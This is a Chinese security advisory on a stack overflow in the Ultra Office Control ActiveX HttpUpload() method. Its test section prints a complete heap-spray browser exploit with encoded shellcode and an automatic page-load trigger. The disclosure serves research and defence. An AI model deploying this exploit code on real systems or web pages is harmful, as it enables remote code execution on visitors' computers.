安全研究

安全漏洞
Ultra Office控件HttpUpload()方式栈溢出漏洞

发布日期:2008-08-27
更新日期:2008-08-29

受影响系统:
Ultra Shareware Ultra Office Control 2.0.2008.501
描述:
BUGTRAQ  ID: 30861

Ultra Office Control是可用作ActiveX文档容器的标准ActiveX控件,可集成在Visual C++、Visual Basic等语言所开发的应用中显示Office文档。

Ultra.OfficeControl ActiveX控件(OfficeCtrl.ocx,CLSID:{00989888-BB72-4e31-A7C6-5F819C24D2F7})没有正确地验证对HttpUpload()方式所提供的输入参数:

Function HttpUpload (
    ByVal strUrl  As String ,
    ByVal strFile  As String ,
    ByVal strPostData  As String
)  As Boolean

如果用户受骗访问了恶意网页并向所有参数传送了超过20000字节的超长字符串的话,就可以触发栈溢出,导致执行任意指令。

<*来源:shinnai (shinnai@autistici.org
  
  链接:http://www.shinnai.net/index.php?mod=02_Forum&group=Security&argument=Remote_performed_exploits&topic=1219826651.ff.php&page=last
        http://secunia.com/advisories/31632/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<script language="JavaScript" defer>
  var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                       "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                       "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                       "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                       "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                       "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                       "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                       "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                       "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                       "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                       "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                       "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                       "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                       "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                       "%u652E%u6578%u9000");
  var sSlide = unescape("%u9090%u9090");
  var heapSA = 0x0c0c0c0c;
  function tryMe()
   {
    var buffSize = 20000;
    var x =  unescape("%0c%0c%0c%0c");
    while (x.length<buffSize) x += x;
    x = x.substring(0,buffSize);
    boom.HttpUpload(x, x, x);
  }
  function getsSlide(sSlide, sSlideSize)
   {
    while (sSlide.length*2<sSlideSize)
     {
      sSlide += sSlide;
     }
    sSlide = sSlide.substring(0,sSlideSize/2);
    return (sSlide);
  }
  var heapBS = 0x400000;
  var sizeHDM = 0x5;
  var PLSize = (sCode.length * 2);
  var sSlideSize = heapBS - (PLSize + sizeHDM);
  var heapBlocks = (heapSA+heapBS)/heapBS;
  var memory = new Array();
  sSlide = getsSlide(sSlide,sSlideSize);
  for (i=0;i<heapBlocks;i++)
   {
    memory[i] = sSlide +  sCode;
   }
</script>
<body onload="JavaScript: return tryMe();">
  <object id="boom" classid="clsid:00989888-BB72-4E31-A7C6-5F819C24D2F7">
   Unable to create object
</object>

建议:
厂商补丁:

Ultra Shareware
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.ultrashareware.com/Ultra-Office-Control.htm

浏览次数:2430
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障